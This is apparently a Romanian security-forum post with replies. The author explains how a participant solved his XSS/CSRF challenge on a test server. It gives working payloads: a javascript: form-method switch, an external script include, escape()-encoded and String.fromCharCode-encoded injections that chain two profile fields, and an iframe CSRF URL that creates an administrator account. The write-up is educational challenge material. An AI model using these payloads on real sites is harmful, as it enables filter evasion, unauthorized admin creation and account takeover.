Exploatăm vulnerabilităţile XSS într-un mod puţin mai neobişnuit

[B7ackAnge7z]

Probabil, mul?i membri ai acestui forum au observat recentul meu post în care am f?cut "un apel" c?tre to?i exper?ii în XSS ?i CSRF, rugându-i s? exploateze într-un mod pu?in mai neobi?nuit o vulnerabilitate XSS. Nu ?tiu câ?i membri au acceptat provocarea, dar cert este faptul c? doar unul singur a reu?it s? treac? testul — loki, care, practic ?tia deja r?spunsul dup? ce editasem postul ad?ugând cel de-al doilea Update. În principiu, cu fiecare Update ad?ugat, încercam s? aten?ionez participan?ii despre anumite obstacole, s? le dau noi puncte de reper, s? le ar?t calea cea dreapt?... De exemplu, la prima redactare a postului, am dat de în?eles c? nu are rost s? piard? timpul folosind metode de a trece peste num?rul limitat de caractere, ?i cel mai important, s? se gândeasc? cum ar putea s? foloseasc? mai multe c?su?e pentru a ajunge înving?tor.

Redactând postul pentru a doua oar?, am dezv?luit secretul token-ului, care de fapt r?mânea mereu acela?i. Plus la aceasta, am aten?ionat c? în acest test merge vorba despre «cel mai simplu CSRF» — nu ?tiu pentru al?ii cum e, dar pentru mine, cel mai simplu CSRF posibil, este atunci când datele se transmit prin metoda GET. Astfel, pentru a testa dac? scriptul accept? datele transmise prin GET, puteam folosi expresia: javascript:void(document.forms[0].method='get'), pe care trebuie s? o introducem în bara de adrese a browserului, dup? care tast?m Enter, complet?m formularul ?i ap?s?m butonul «Submit Query». Vom observa c? administratorul a fost ad?ugat cu succes, iar request-ul de tip POST s-a transformat în unul GET ?i... acum, cu u?urin?? putem copia adresa URL pentru a o folosi la atacul CSRF.

Dup? p?rerea mea, fiind analizat cu aten?ie, cel de-al treilea Update era cel mai puternic indiciu care putea s? duc? la imediat? rezolvare a problemei. Iat? de ce, pentru a duce în eroare participan?ii, am scris cu font gri un mesaj care nu avea nici o leg?tur? cu acest test ?i rezolvarea lui. Îns? mesajul principal a r?mas, ?i chiar eram curios, oare nimeni nu s-a întrebat: De ce trebuie s? fie minim dou? c?su?e pe aceea?i pagin?? La ce bun folose?te o a doua c?su?a, care nici m?car nu e vulnerabil?? ?i tot dup? p?rerea mea, r?spunsul era foarte simplu: în c?su?a vulnerabil? («Signature») puteam folosi JavaScript, îns? era prea pu?in spa?iu, pe când «About me» — avea ceva mai mult... Deci, ce ne împiedic? s? "împrumut?m" caractere din containerul «About me»? Oare func?ia escape() amintit? în Update-ul num?rul 4, ?i atributul «id» din UPD #5 — nu a ?optit nim?nui vre-o idee n?stru?nic??

Sunt sigur c? pentru a dezlega orice mister trebuia doar s? aduc aminte de document.getElementById() — îns? acest lucru ar fi f?cut Challenge-ul prea simplu ?i lipsit de interes... Îns? acum nu ne r?mâne decât s? recapitul?m rapid ce aveam la îndemân?:

• 
  
• O c?su?? vulnerabil?, care ne permite s? inser?m coduri JavaScript, dar care are un num?r limitat de caractere prea mic;
  
• Func?ia escape(), cu ajutorul c?reia putem codifica caracterele speciale;
  
• O c?su?? care nu e vulnerabil?, dar ofer? mai mult spa?iu ?i, pe lâng? aceasta are ?i un «id» unic;
  
• Expresia document.getElementById() cu ajutorul c?reia putem "împrumuta" caractere din containerul sus-men?ionat;
  

Anume aceste p?r?i ale puzzle-ului, puse cap la cap i-au adus lui loki victoria. Cum? Foarte simplu! Într-un fi?ier extern (pe care l-am înc?rcat pe server), folosind func?ia document.write(), se crea o copie exact? a formularului din Admin Panel, ?i, folosind expresia document.forms[0].submit() se trimiteau datele c?tre server prin metoda POST. Desigur, pentru a exploata vulnerabilitatea XSS, acest fi?ier trebuia injectat pe pagina din profil, folosind expresia:

<script src="http://test.securrity.ru/challenges/loki_rst_u9.js"></script>

Pentru a trece de filtrul PHP, s-a folosit func?ia escape(), cu ajutorul c?reia expresia men?ionat? mai sus a c?p?tat forma:

%3Cscript%20src%3D%22http%3A%2f%2ftest.securrity.ru/challenges/loki_rst_u9.js%22%3E%3C/script%3E%0A

Anume aceast? expresie a fost? inserat? în c?su?a «About me», care avea ?i un id asem?n?tor: 'AboutMe'.

Ultimul ?i cel mai important pas, a fost inserarea în c?su?a vulnerabil? «Signature», a urm?torului cod:

<script>document.write(unescape(document.getElementById('AboutMe').innerHTML));</script>

unde,

• 
  
• document.getElementById('AboutMe').innerHTML — returneaz? caracterele c?su?ei 'AboutMe';
  
• unescape() — returneaz? valoarea ini?ial? a caracterelor codificate cu ajutorul fun?iei escape();
  
• document.write() — afi?eaz? codul ce include fi?ierul extern;
  

Acum, nu ne r?mâne decât s? ap?s?m butonul «submit & save»! Unicul lucru pe care vreau s?-l adaug la metoda folosit? de loki, este c? testul era mult mai u?or, ?i în schimbul unui fi?ier extern, putea fi folosit doar un simplu iframe:

%3Ciframe%20src%3D%22http%3A//test.securrity.ru/challenges/n1.php%3Fdo%3Dadd%26mode%3Dnew_account%26group%3Dadministrators%26name%3DAdmin%26password%3Dpassw0rd%26email%3Dadmin@site.net%26token%3D94a08da1fecbb6e8b46990538c7b50b2%22%3E%3C/iframe%3E

A?a cum am mai spus, aceast? metod? e ca un cu?it cu dou? t?i?uri: partea bun? e c? putem trece de filtre; partea rea — ambele c?su?e trebuie s? fie prezente pe aceea?i pagin?. ?i, o a doua problem? ar fi suspiciunile administra?iei, care la sigur va ?terge astfel de mesaje sau accounturi. În astfel de situa?ii am putea folosi func?ia String.fromCharCode(), astfel un ?ir de cifre separate prin virgul? va putea trece neobservat. Dar, ?i aici este o mic? problem?, deoarece pentru a folosi String.fromCharCode(), este nevoie de pu?in mai mult spa?iu, mai exact cu 33 caractere mai mult, iar codul care trebuie inserat în c?su?a vulnerabil? va ar?ta în felul urm?tor (cei care pot face acest cod mai scurt, sunt ruga?i s? prezinte un exemplu):

<script>document.write(String.fromCharCode.apply(this,document.getElementById("AboutMe").innerHTML.split(',')));</script>

Iar în c?su?a «About Me» vom introduce textul urm?tor (ob?inut cu noquote):

60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,116,101,115,116,46,115,101,99,117,114,114,105,116,121,46,114,117,47,99,104,97,108,108,101,110,103,101,115,47,110,49,46,112,104,112,63,100,111,61,97,100,100,38,109,111,100,101,61,110,101,119,95,97,99,99,111,117,110,116,38,103,114,111,117,112,61,97,100,109,105,110,105,115,116,114,97,116,111,114,115,38,110,97,109,101,61,65,100,109,105,110,38,112,97,115,115,119,111,114,100,61,112,97,115,115,119,48,114,100,38,101,109,97,105,108,61,97,100,109,105,110,64,115,105,116,101,46,110,101,116,38,116,111,107,101,110,61,57,52,97,48,56,100,97,49,102,101,99,98,98,54,101,56,98,52,54,57,57,48,53,51,56,99,55,98,53,48,98,50,34,62,60,47,105,102,114,97,109,101,62

Dup? cum v? da?i bine seama, acest articol a fost scris în scopuri educative, pentru a în?elege c? nimic nu e perfect (în special aplica?iile celor, care în loc s? repare vulnerabilit??ile, încearc? s? demonstreze c? nu e a?a de GRAV precum pare).

?i da, sunt aproape 'preg?tit' s? ?in piept oric?rei întreb?ri, critici sau idei.

B7ackAnge7z

Special pentru RST

[Krisler12™]

ori imi scapa mie ceva ori nu vad care e diferenta fata de un xss obisnuit...

[B7ackAnge7z]

@Krisler12™,

Scuze, dar tu ai încercat s? treci Challenge-ul, sau, cel pu?in ai citit topicul indicat în articol?

[Krisler12™]

@Krisler12™,

Scuze, dar tu ai încercat s? treci Challenge-ul, sau, cel pu?in ai citit topicul indicat în articol?

Am citit doar ce zici tu aici...

Da-mi si alte linkuri sa inteleg mai bine...

[B7ackAnge7z]

@Krisler12™,

Dat fiind faptul c? nu ai încercat s?-?i dai interesul ?i nu ai fost atent, spune c? nici nu te intereseaz? aceast? tem?! Dac? gre?esc cumva, încearc? s? treci Challenge-ul, folosind tehnicile standard de exploatare a vulnerabilit??ilor XSS.